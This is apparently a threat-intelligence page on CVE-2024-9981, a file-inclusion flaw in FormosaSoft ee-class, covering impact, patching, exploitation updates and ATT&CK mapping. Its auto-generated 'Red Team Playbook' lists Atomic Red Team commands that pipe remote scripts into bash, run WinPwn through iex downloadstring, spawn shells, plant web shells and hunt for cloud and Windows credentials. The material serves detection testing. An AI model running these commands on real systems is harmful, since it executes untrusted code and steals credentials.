CVE-2024-9981
Overview
This vulnerability is a file inclusion flaw caused by improper validation of a page parameter within the ee-class product by FormosaSoft. The root cause lies in insufficient input sanitization that permits an attacker with limited privileges to upload arbitrary PHP files. The affected component is the web application’s file upload and inclusion mechanism, which fails to enforce strict controls on user-supplied parameters used to include files dynamically.
Vulnerability Description
The ee-class from FormosaSoft does not properly validate a specific page parameter, allowing remote attackers with regular privileges to upload a malicious PHP file first and then exploit this vulnerability to include the file, resulting in arbitrary code execution on the server.
Impact
An attacker with valid user credentials can exploit this vulnerability to execute arbitrary PHP code on the server, enabling full control over the affected system. This requires network access and authentication with regular privileges but no user interaction beyond normal usage. Successful exploitation can lead to data compromise, server takeover, and potential lateral movement within the network. The CVSS vector (AV:N/AC:L/PR:L/UI:N) indicates network attackability with low complexity and no user interaction, emphasizing the critical nature of this flaw.
Solution
FormosaSoft has addressed this vulnerability in updated versions of ee-class as detailed in the Taiwanese CERT advisories (https://www.twcert.org.tw/tw/cp-132-8144-2885b-1.html and https://www.twcert.org.tw/en/cp-139-8145-15bea-2.html). Administrators should apply the vendor-provided patches corresponding to their ee-class installation immediately. The advisories include specific patch versions and instructions to remediate the insecure file upload and inclusion mechanisms. No alternative workarounds are recommended beyond applying the official updates.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the ee-class from FormosaSoft stems from inadequate validation of a specific page parameter, which allows for a critical security flaw. This oversight enables remote attackers, even those with standard user privileges, to upload a malicious PHP file to the server. Once the file is uploaded, the attacker can exploit the vulnerability to include and execute this file on the server, leading to arbitrary code execution. This type of vulnerability is particularly dangerous as it bypasses traditional access controls, allowing unauthorized actions to be performed by individuals who should not have such capabilities.
Attack vectors for this vulnerability are relatively straightforward. An attacker would first need to gain access to the upload functionality of the ee-class application. This could be achieved through social engineering, phishing, or exploiting other vulnerabilities to obtain valid user credentials. Once inside, the attacker can upload a malicious PHP script disguised as a legitimate file. After successfully uploading the file, the attacker can manipulate the application to include and execute the script, thereby gaining control over the server. This could lead to a variety of malicious activities, such as data exfiltration, further system compromise, or even the establishment of a persistent backdoor for future access.
The real-world impact of such a vulnerability can be severe, particularly for organizations relying on the ee-class application for critical operations. The potential for arbitrary code execution means that an attacker could gain full control over the affected server, leading to data breaches, loss of sensitive information, and significant reputational damage. The business risks associated with this vulnerability are compounded by the high CVSS score of 8.8, indicating that it poses a serious threat. Organizations may face regulatory penalties, legal repercussions, and financial losses due to downtime or recovery efforts following an exploit. Furthermore, the presence of such a vulnerability could erode customer trust and lead to long-term damage to the brand.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regular security assessments and code reviews can help identify and rectify validation issues within the application. Employing web application firewalls (WAFs) can provide an additional layer of protection by filtering out malicious requests before they reach the application. Furthermore, organizations should enforce strict file upload policies, ensuring that only specific file types are allowed and that uploaded files are scanned for malicious content. Keeping the software up to date with the latest security patches is crucial, as vendors often release updates to address known vulnerabilities. Additionally, implementing robust logging and monitoring can help detect unusual activities, such as unauthorized file uploads or execution attempts, allowing for timely incident response.
In conclusion, the vulnerability within the ee-class application from FormosaSoft represents a significant threat to organizations that utilize this software. The ability for attackers to execute arbitrary code on the server can lead to catastrophic consequences, including data breaches and operational disruptions. By understanding the technical details, potential attack vectors, and real-world implications of this vulnerability, organizations can take proactive steps to detect and mitigate the risks associated with it. A comprehensive security strategy that includes regular assessments, strict upload policies, and timely updates will be essential in protecting against such vulnerabilities and ensuring the integrity of the systems in place.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2024-9981, with our telemetry indicating the first confirmed exploitation attempt in the wild. This development signifies a transition from theoretical risk to active targeting by threat actors, elevating the urgency for defenders to monitor for indicators of compromise associated with this vulnerability. Although the EPSS score remains stable and no new exploit variants have surfaced, the emergence of real-world exploitation attempts underscores the vulnerability’s practical viability and potential impact. Consequently, the threat level should be reassessed as increasingly imminent, reflecting the shift from latent exposure to active exploitation, which heightens the risk of arbitrary code execution and subsequent operational disruption on affected FormosaSoft ee-class deployments.
Update 2 — July 06, 2026
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2024-9981, with our telemetry indicating a doubling in detection frequency over a short period. This uptick, while still limited in absolute terms, signals a growing interest from threat actors in leveraging the vulnerability to achieve remote code execution on FormosaSoft ee-class servers. The absence of new exploit variants suggests that adversaries are refining existing techniques rather than developing novel payloads, which may facilitate easier detection but also indicates persistent exploitation efforts. This shift from theoretical risk to active probing elevates the operational urgency for defenders, as it increases the likelihood of successful compromise in environments where the vulnerability remains unpatched. Consequently, the threat level should be considered heightened, reflecting a transition toward more imminent and tangible exploitation scenarios that could lead to significant impact on affected systems.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Formosasoft | Ee-Class | All |
cpe:2.3:a:formosasoft:ee-class:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
2 eventsSighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-9981 |
| twcert.org.tw |
GitHub CVE
third-party-advisory
|
https://www.twcert.org.tw/tw/cp-132-8144-2885b-1.html |
| twcert.org.tw |
GitHub CVE
third-party-advisory
|
https://www.twcert.org.tw/en/cp-139-8145-15bea-2.html |